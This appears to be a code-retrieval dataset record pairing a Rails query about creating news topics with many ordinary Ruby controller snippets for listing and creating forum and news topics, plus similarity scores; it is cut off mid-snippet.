[ "def topics\n client = Comments.discourse\n @topics = client.latest_topics\n respond_to do |fmt|\n fmt.js { }\n end\n end", "def all_topics\n topics = Feed.find(params[:feed_id]).topics\n render :json => topics\n end", "def index\n @topics = Topic.getCommunityTopic(params)\n respond_with(@topics)\n end", "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def get_topics\n @chapter = Chapter.find(params[:id]) unless params[:id].blank?\n if current_user.is?(\"EA\") or current_user.is?(\"IA\")\n list = @chapter.topics.map {|u| Hash[value: u.id, name: u.name]}\n else\n topic_ids = ContentUserLayout.get_unlocked_topics(@chapter,current_user)\n if !topic_ids.nil?\n list = @chapter.topics.where(:id=>topic_ids).map {|u| Hash[value: u.id, name: u.name]}\n else\n list = @chapter.topics.map {|u| Hash[value: u.id, name: u.name]}\n end\n end\n render json: list\n end", "def topics\n topics = [\"News\", \"A.I.\", \"V.R.\", \"RMIT\", \"Game\", \"Rails\", \"Go\", \"Web\", \"M.L\", \"Joke\", \"React\", \"Vue\", \"Node\", \"iOS\", \"AWS\"]\n end", "def index\n @community_topics = CommunityTopic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @community_topics }\n end\n end", "def get_topics\n @topics = Topic.all\n end", "def get_topics\n @topics = Topic.all\n end", "def index\n @api_v1_topics = Api::V1::Topic.all\n end", "def index\n @topics = @category.topics.preload(:category)\n render 'api/v1/topics/index'\n end", "def list\n @topic = get_topic(params)\n @topic_list = get_topic_list(@topic)\n respond_to do |format|\n format.html\n format.xml { render xml: @topic_list.to_xml }\n format.json { render json: @topic_list.to_json }\n end\n end", "def GetTopicsByForum id,params = {}\n\n params = params.merge(path: \"forums/#{id}/topics.json\")\n APICall(params)\n\n end", "def topics\n\t\t\t# Magically make arrays from string Wooooo!\n\t\t\tuid = params[\"uid\"].split(\",\")\n\t\t\ttid = params[\"tid\"].split(\",\")\n\n\t\t\t#request post from usrs AND specific topics ahhhhhhh!\n\t\t\tposts = Post.where('user_id IN (?) OR topic_id IN (?) OR raw LIKE (?)', uid, tid, '%@everyone%' )\n\t\t\t \t\t\t\t\t\t\t\t\t.order(created_at: :desc)\n\t\t\t \t.limit(params[\"total\"])\n\t\t\t\t\t\t\t\t\t\t\t\t.offset(params[\"start\"])\n\n\t\t\t# that cleaned that up\n\t\t\trender_json_dump(serialize_data(posts, PostSerializer))\n\t\t\t#K shows over\n\t\tend", "def list(options = {})\n body = options.has_key?(:query) ? options[:query] : {}\n\n response = @client.get \"/api/topics\", body, options\n\n return response\n end", "def news_topics_comments\r\n @story = hacker_news_client.item(params[:id])\r\n @comments = (@story['kids'] || []).map do |comment|\r\n hacker_news_client.item(comment)\r\n end\r\n end", "def topics\n respond_to?(:topic) ? topic : []\n end", "def index\n @article_topics = ArticleTopic.all\n end", "def get(*topics)\n # FIXME: implement this\n end", "def index\n @topics = current_user.topics\n end", "def topics(path = nil)\n # NOTE: root url\n platform.topics_at url_for(path: path.to_s)\n end", "def index\n @topics = Topic.all\n @topics_json = turn_topics_to_timeline_json(@topics)\n respond_to do |format|\n format.html\n format.json { render :json => @topics_json } #debug use\n end\n\n end", "def forum_get_topics(args={})\n JSON.parse(HelpSpot.api_request('forums.getTopics', 'GET', {:xForumId => args[:forum_id]}.merge(args)))['topic'] rescue []\n end", "def show\n load_topic\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def index\n @topics = Topic.all\n end", "def index\n @topics = Topic.all\n end", "def index\n @topics = Topic.all\n end", "def topics\n optional! :order, type: String, default: \"recent\", values: %w[recent likes replies]\n optional! :offset, type: Integer, default: 0\n optional! :limit, type: Integer, default: 20, values: 1..150\n\n @topics = @user.topics.fields_for_list\n @topics =\n if params[:order] == \"likes\"\n @topics.high_likes\n elsif params[:order] == \"replies\"\n @topics.high_replies\n else\n @topics.recent\n end\n @topics = @topics.includes(:user).offset(params[:offset]).limit(params[:limit])\n end", "def show\n\t\t@forum = Forum.find(params[:id])\n\t\t@topics = @forum.topics.order(\"created_at DESC\")\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @forum }\n\t\tend\n\tend", "def index\n @topics = Topic.published\n end", "def index\n @topics = @pool.topics.order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @topics = Topic.all\n end", "def GetTopic id\n\n APICall(path: \"topics/#{id}.json\")\n\n end", "def new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def show\n render :json => Topic.find(params[:id]) \n end", "def index\n opts = {\n parent_ids: @site.id,\n status: params[:status],\n headline_level: params[:head],\n rcmd_level: params[:rcmd]\n }.delete_if {|k,v|v.blank?}\n opts[:parent_id] = params[:channel_id] unless params[:channel_id].blank?\n opts[:title] = /.*#{params[:key]}.*/ unless params[:key].blank?\n @topics = Topic.includes(:channel).where(opts).order(id: :desc).page(params[:page])\n end", "def index\n @topics = Admin::Topic.order(date: :desc).paginate(page: params[:page], per_page: 20)\n end", "def all\n data = service.list_topics.body[\"topics\"] || []\n load(data)\n end", "def topics_for_course\n redirect_guest\n @course = Course.find(params[:id])\n @topics = @course.topics\n end", "def index\n respond_with current_user.topics.all.to_json(:include => [:posts, :owner])\n end", "def index\n @data_topics = DataTopic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data_topics }\n end\n end", "def show\n @community_topic = CommunityTopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @community_topic }\n end\n end", "def show\n @chapter = Chapter.find(params[:id])\n @topics = @chapter.topics.page(params[:page])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chapter }\n end\n end", "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def show\n @topic = Topic.find(params[:id])\n @messages = @topic.messages.order(\"created_at DESC\")\n @message = Message.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def index\n @newsletter_topics = NewsletterTopic.all\n end", "def show\n @topic = Topic.find(params[:id])\n render 'api/v1/topics/show'\n end", "def index\n session[:return_to] = topics_path\n session[:view_style] = 'topic'\n @topics = Topic.find(:all, :conditions => 'parent_id is null')\n @topic_news = Message.find :all, :conditions => \"message_type = 'topic'\", :order => 'created_at DESC', :limit => 6\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end", "def index\n @admin_topics = Topic.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @admin_topics }\n end\n end", "def index\n @topics = Topic.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end", "def show\n @topics_user = TopicsUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topics_user }\n end\n end", "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end", "def index\n @published_topics = current_user.topics.published\n @unpublished_topics = current_user.topics.unpublished\n end", "def index\n @user_topics = UserTopic.all\n end", "def index\n @topics = Topic.where('timeint >= :timeint', :timeint => Topic.current_timeint(Time.now))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def show\n @topic = Topic.find(params[:id])\n @page_title = \"Topic Show: #{@topic.topic_name}\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n \n end\n end", "def index\n @content_pack = ContentPack.find(params[:content_pack_id])\n @topics = @content_pack.topics\n end", "def list_topics\n req_hash = generate_request('ListTopics')\n request_info(req_hash, SnsListTopicsParser.new(:logger => @logger))\n rescue\n on_exception\n end", "def show\n @topics = Topic.find(params[:id])\n @comments = @topics.comments.page(params[:page]).per(10).order(created_at: :desc)\n end", "def all_following_topics\n topics = User.find(params[:user_id]).following_topics\n render :json => topics\n end", "def latest_topics_rss\r\n @title = \"The Latest Discussions\"\r\n @topics = Topic.paginate_all(20, @cobrand)\r\n render :template => \"common/topics_rss\", :layout => false\r\n end", "def topics(repo, options = {})\n opts = ensure_api_media_type(:topics, options)\n paginate \"#{Repository.path repo}/topics\", opts\n end", "def all\n data = service.list_topics.to_h[:topics] || []\n load(data)\n end", "def index\n @class_topics = ClassTopic.all\n end", "def topics\n _topics\n end", "def new\n @topic = current_user.topics.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n @page_title = \"New Topic\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def list_topics(options = {})\n request({\n 'Action' => 'ListTopics',\n :parser => Fog::Parsers::AWS::SNS::ListTopics.new\n }.merge!(options))\n end", "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end", "def topics(usernames)\n get(\"/1/users/topics.json\", :users => [usernames].flatten).users\n end", "def index\n\n\t\t@topics = Topic.all\n\n\t\treturn @topics\n\n\tend", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def index\n @category = Category.find(params[:id])\n @topic = @category.topics.all\n end", "def index\n @forum_topics = Forum::Topic.all\n end", "def get_most_recently_visited_topics(org_unit_id) # GET\n query_string = \"/d2l/api/le/#{$le_ver}/#{org_unit_id}/content/recent\"\n _get(query_string)\n # Returns: a JSON array of Topic ToC entries.\nend", "def index\n @topics = @ip.topics\n end", "def get_bookmarked_topics(org_unit_id) # GET\n query_string = \"/d2l/api/le/#{$le_ver}/#{org_unit_id}/content/bookmarks\"\n _get(query_string)\n # Returns: a JSON array of Topic ToC entries.\nend", "def my_topic\n @published_topics = current_user.topics.published\n @unpublished_topics = current_user.topics.unpublished\n end", "def show\n @subtopic = Subtopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subtopic }\n end\n end", "def new\n @community_topic = CommunityTopic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @community_topic }\n end\n end", "def list_topics\n output = []\n output.push(\"\\e[1;32mTopics:\\e[0m\\n\")\n topics.each_key do |title|\n output.push(\"- \\e[1;37m#{title}\\e[0m\")\n end\n output.join(\"\\n\")\n end", "def show\n @topic = Topic.find(params[:id])\n @forum = Forum.find(@topic.forum_id)\n @posts = Post.where(:topic_id => @topic.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def get_news( category = \"home\" )\n url = \"https://api.nytimes.com/svc/topstories/v2/#{ category }.json\"\n options = { api_key: Rails.application.secrets.NY_TIMES_TOP_STORIES_KEY }\n\n response = HTTParty.get( url, :query => options )\n\n response\n end", "def index\n @topics = Topic.paginate :per_page => 10, :page => params[:page], :order => \"updated_at DESC\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end", "def new\n @topic = Topic.find(params[:topic_id])\n @forum = Forum.find(params[:forum_id])\n @messages = @topic.messages.order('created_at DESC').limit(5)\n\n @message.title = @topic.title\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def show\n\t\treferenced = @topic.tweets.count(:distinct)\n\t\tusers = @topic.tweets.user.count(:distinct)\n\t\trender json: show_json(@topic, referenced, users)\n\tend", "def index\n if params[:news_id]\n @news = News.find(params[:news_id])\n @discusses = @news.discusses\n else\n @discusses = Discuss.all\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discusses }\n end\n end", "def index\n \n @news = News.all\n @latest_news = News.latest_news\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @news }\n end\n end", "def index\n @news = Newsfeed.order(\"created_at DESC\")\n render json: { is_success: true, message: \"news fetch successful\", data: @news }, status: 200\n end", "def set_news_topic\n @news_topic = NewsTopic.find(params[:id])\n end" ]
[ "0.74555147", "0.74209386", "0.71408075", "0.7062938", "0.7062938", "0.7062938", "0.6920321", "0.6891208", "0.6880907", "0.6807371", "0.6807371", "0.6802782", "0.6796547", "0.67363703", "0.6723964", "0.6695416", "0.66777205", "0.66697466", "0.66660213", "0.66615915", "0.66600496", "0.6653391", "0.66467327", "0.6634056", "0.66197205", "0.659791", "0.6589834", "0.6589834", "0.6589834", "0.65855116", "0.65691626", "0.6523431", "0.651895", "0.65127224", "0.65082693", "0.65073085", "0.6503222", "0.6496062", "0.64886975", "0.64831024", "0.6477296", "0.64769465", "0.6472436", "0.6462393", "0.64199567", "0.64174074", "0.64174074", "0.64174074", "0.64174074", "0.6410706", "0.6403504", "0.64020693", "0.64013004", "0.6400644", "0.63997394", "0.63920707", "0.638978", "0.63849217", "0.6369881", "0.63697934", "0.63685757", "0.63681453", "0.6361342", "0.6354765", "0.634846", "0.63454413", "0.631759", "0.63107", "0.6302949", "0.6295652", "0.6295644", "0.6284113", "0.62815225", "0.6280724", "0.62749296", "0.62732595", "0.62495583", "0.62495583", "0.62495583", "0.62495583", "0.62495583", "0.62475276", "0.62417215", "0.6238959", "0.6238267", "0.6236342", "0.6214705", "0.62095445", "0.6202156", "0.6201495", "0.6191012", "0.6181771", "0.61768955", "0.6176717", "0.6175508", "0.617456", "0.6167511", "0.6142856", "0.6134125", "0.6128172" ]
0.6232536
86
POST /news_topics POST /news_topics.json
def create @news_topic = NewsTopic.new(news_topic_params) @news_topic.context.gsub!("\n", '</br>') @news_topic.short_context.gsub!("\n", '</br>') @news_topic.creator = current_user respond_to do |format| if @news_topic.save format.html { redirect_to news_topics_path, :notice => 'News topic was successfully created.' } format.json { render :show, :status => :created, :location => @news_topic } else format.html { render :new } format.json { render :json => @news_topic.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def CreateTopic params = {}\n \n APICall(path: 'topics.json',method: 'POST',payload: params.to_json)\n \n end", "def create\n @topic = current_user.topics.build(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article_topic = ArticleTopic.new(article_topic_params)\n\n respond_to do |format|\n if @article_topic.save\n format.html { redirect_to @article_topic, notice: 'Article topic was successfully created.' }\n format.json { render :show, status: :created, location: @article_topic }\n else\n format.html { render :new }\n format.json { render json: @article_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @forum.topics.create!(params[:topic])\n format.html { redirect_to forum_path(@forum), notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = current_user.topics.build(topic_params)\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render :show, status: :created, location: @topic }\n else\n format.html { render :new }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_topic payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post TOPICS, payload )\n\t\t\t\tend", "def create\n @topic = Topic.create(topic_params)\n current_user.topics.push(@topic)\n \n respond_with @topic\n end", "def create\n @topic = current_user.topics.build()\n @topic.title = params[:title]\n @topic.user_id = current_user.id\n @topic.user_email = current_user.email\n\n respond_to do |format|\n if @topic.save!\n format.html { redirect_to topics_url, :notice => 'topic was successfully created.' }\n format.json { render :json => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n topic = Topic.new(topic_params)\n if topic.save\n response_data = {\n status: 'success',\n txt: ['質問を投稿しました!'],\n }\n else\n response_data = {\n status: 'error',\n txt: topic.errors.full_messages,\n }\n end\n render json: response_data\n end", "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = Topic.new(topic_params)\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to topics_path, notice: 'Topic was successfully created.' }\n format.json { render :show, status: :created, location: @topic }\n else\n format.html { render :new }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n client = Mastodon::REST::Client.new(base_url: ENV[\"MASTODON_URL\"], bearer_token: ENV[\"ACCESS_TOKEN\"])\n \n @topic = Topic.new(topic_params)\n @topic.user_id = current_user.id\n\n respond_to do |format|\n if @topic.save\n response = client.create_status(\"新しいトピック:#{@topic.title} が作成されました!\")\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render :show, status: :created, location: @topic }\n else\n format.html { render :new }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = current_user.communities.find(params[:community_id]).topics.new(create_params)\n Topic.checkParams(params, current_user) && @topic.save\n respond_with(@topic)\n end", "def new\n @topic = current_user.topics.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def create\n @topic = Topic.new(topic_params)\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render :show, status: :created, location: @topic }\n else\n format.html { render :new }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n topic = Topic.find(sub_topic_params[:topic_id])\n @sub_topic = topic.sub_topics.build(sub_topic_params)\n\n respond_to do |format|\n if @sub_topic.save\n format.html { redirect_to @sub_topic, notice: 'Sub topic was successfully created.' }\n format.json { render :show, status: :created, location: @sub_topic }\n else\n format.html { render :new }\n format.json { render json: @sub_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n topic_breadcrums({\"display_text\": \"Create Topic\"})\n @topic = Topic.new(topic_params)\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to topics_url, notice: 'Topic was successfully created.' }\n format.json { render :show, status: :created, location: @topic }\n else\n format.html { render :new }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = @category.topics.new(topic_params)\n authorize @topic\n\n if @topic.save\n render 'api/v1/topics/show', status: :created\n else\n render json: @topic.errors, status: :unprocessable_entity\n end\n end", "def create\n\t\t@title = \"Nowe spotkanie\"\n @meeting = Meeting.new(params[:meeting])\n\t\tunless params[:meeting][:topics].nil?\n\t\t\t@temp = Topic.find(params[:meeting][:topics])\n\t\t\[email protected] = @temp\n\t\tend\n respond_to do |format|\n if @meeting.save\n format.html { redirect_to @meeting, notice: 'Meeting was successfully created.' }\n format.json { render json: @meeting, status: :created, location: @meeting }\n else\n\t\t\t\t@alltopics = Topic.where(:meeting_id => nil)\n format.html { render action: \"new\" }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_topic!\n fora.post_new_topic\n end", "def create\n @subtopic = Subtopic.new(params[:subtopic])\n\n respond_to do |format|\n if @subtopic.save\n format.html { redirect_to @subtopic, notice: 'Subtopic was successfully created.' }\n format.json { render json: @subtopic, status: :created, location: @subtopic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subtopic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = current_user.topics.new(topic_params)\n @topic.subscriber = @user\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to [@user, @topic], notice: '成功新增' }\n format.json { render :show, status: :created, location: @topic }\n else\n format.html { render :new }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #@topic = Topic.new(topic_params)\n @topic = current_user.topics.build(topic_params)\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render action: 'show', status: :created, location: @topic }\n else\n format.html { render action: 'new' }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def topic_params\n params.require(:topic).permit(:title, :date, :body)\n end", "def create\n requires! :title\n requires! :body\n requires! :node_id\n\n raise AccessDenied.new(\"The current user does not have permission to create Topic.\") unless can?(:create, Topic)\n\n @topic = current_user.topics.new(title: params[:title], body: params[:body])\n @topic.node_id = params[:node_id]\n @topic.save!\n\n render \"show\"\n end", "def create\n @news = New.new(news_params)\n\n if @news.save\n render json: @news, status: :created\n else\n render json: @news.errors, status: :unprocessable_entity\n end\n end", "def create\n @topic = current_user.topics.build(params[:topic])\n\n respond_to do |format|\n if @topic.save\n flash[:notice] = 'Topic was successfully created.'\n format.html { redirect_to(@topic) }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def news_topic_params\n params.require(:news_topic).permit(:title, :context, :short_context, :top_news)\n end", "def create\n @newsletter_topic = NewsletterTopic.new(newsletter_topic_params)\n\n if @newsletter_topic.save\n render :show, status: :created, location: @newsletter_topic\n else\n render json: @newsletter_topic.errors, status: :unprocessable_entity\n end\n end", "def create\n pt = params[:news]\n @news = News.new(pt)\n @news.user_id = current_user.id\n @news.node_id = params[:node] || pt[:node_id]\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: t(\"news.create_news_success\")}\n format.json { render json: @news, status: :created, location: @news }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subtopic = Subtopic.new(subtopic_params)\n\n respond_to do |format|\n if @subtopic.save\n format.html { redirect_to @subtopic, notice: 'Subtopic was successfully created.' }\n format.json { render :show, status: :created, location: @subtopic }\n else\n format.html { render :new }\n format.json { render json: @subtopic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to [:admin, @topic], notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @community_topic = CommunityTopic.new(params[:community_topic])\n\n respond_to do |format|\n if @community_topic.save\n format.html { redirect_to [@community, @community_topic], notice: 'Community topic was successfully created.' }\n format.json { render json: [@community, @community_topic], status: :created, location: @community_topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @community_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n parameters = topic_params\n parameters[:user_id] = current_user.id\n @topic = Topic.new(parameters)\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render :show, status: :created, location: @topic }\n else\n format.html { render :new }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = Topic.new(params[:topic])\n @topic.user_id = current_user.id\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @api_v1_topic = Api::V1::Topic.new(api_v1_topic_params)\n\n respond_to do |format|\n if @api_v1_topic.save\n format.html { redirect_to @api_v1_topic, notice: 'Topic was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_topic }\n else\n format.html { render :new }\n format.json { render json: @api_v1_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_topic = UserTopic.new(user_topic_params)\n\n respond_to do |format|\n if @user_topic.save\n format.html { redirect_to @user_topic, notice: 'User topic was successfully created.' }\n format.json { render :show, status: :created, location: @user_topic }\n else\n format.html { render :new }\n format.json { render json: @user_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def create\n @topic = Topic.new(params[:topic])\n @topic.user_id = current_user.id\n @topic.updater_id = current_user.id\n message = @topic.messages.first\n message.user_id = current_user.id\n message.forum_id = params[:topic][:forum_id]\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to topic_url(@topic), notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = Topic.new\n @topic.topic_name = params[:topic][:topic_name].titleize\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = @board.topics.new\n\n @topic.content = Boards::DiscussionTopic.new(params[:boards_discussion_topic])\n respond_to do |format|\n if @topic.content.save\n flash[:notice] = 'Nieuwe discussie was succesvol gestart'\n @topic.user = current_user\n @topic.category = \"topic\"\n @topic.save\n \n format.html { redirect_to(board_discussion_topic_path(@board, @topic.content)) }\n format.xml { render :xml => @topic, :status => :created, :location => board_discussion_topic_path(@board, @topic.content) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.content.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n # Making sure only signed in users can access\n # if user_signed_in?\n topic = Topic.create(topic_params)\n if topic.valid?\n render json: topic\n else\n render json: topic.errors, status: :unprocessable_entity\n end\n # else\n # render status: 403, plain: 'Please Sign In to Access'\n # end\n end", "def create\n @forum_topic = Forum::Topic.new(forum_topic_params)\n\n respond_to do |format|\n if @forum_topic.save\n format.html { redirect_to @forum_topic, notice: 'Topic was successfully created.' }\n format.json { render action: 'show', status: :created, location: @forum_topic }\n else\n format.html { render action: 'new' }\n format.json { render json: @forum_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @data_topic = DataTopic.new(params[:data_topic])\n\n respond_to do |format|\n if @data_topic.save\n format.html { redirect_to @data_topic, notice: 'Data topic was successfully created.' }\n format.json { render json: @data_topic, status: :created, location: @data_topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @data_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def topic_params\n params.require(:topic).permit(:title, :body)\n end", "def create\n @topic = Topic.new(topic_params)\n @topic.user_id = current_user.id\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render action: 'show', status: :created, location: @topic }\n else\n format.html { render action: 'new' }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = Topic.friendly.find(params[:topic_id])\n @post = @topic.posts.new(post_params)\n @post.user_id = current_user.id\n @post.topic_id = @topic.id\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to topic_posts_path(@topic), notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_topic\r\n @debate.create_topic(params[:topic])\r\n redirect_to :action => \"index\"\r\n end", "def topic_params\n params.require(:topic).permit(:title, :content, :clicks, :status)\n end", "def create\n @news_story = NewsStory.new(news_story_params)\n\n respond_to do |format|\n if @news_story.save\n format.html { redirect_to @news_story, notice: 'News story was successfully created.' }\n format.json { render :show, status: :created, location: @news_story }\n else\n format.html { render :new }\n format.json { render json: @news_story.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_topic = Topic.new(params[:topic])\n \n respond_to do |format|\n if @admin_topic.save\n format.html { redirect_to :action => 'index', :notice => 'Topic was successfully created.' }\n format.json { render :json => @admin_topic, :status => :created, :location => @admin_topic }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @admin_topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n topic = Topic.new(:name => params[:name], :topic_type => params[:topic_type], :user_id => current_user.id)\n if topic.save\n followship = Followship.new(:user_id => params[:user_id], :topic_id => topic.id)\n if followship.save\n render :json => topic, :status => :created\n else\n render :json => {:ok => false, :message => followship.errors}, :status => 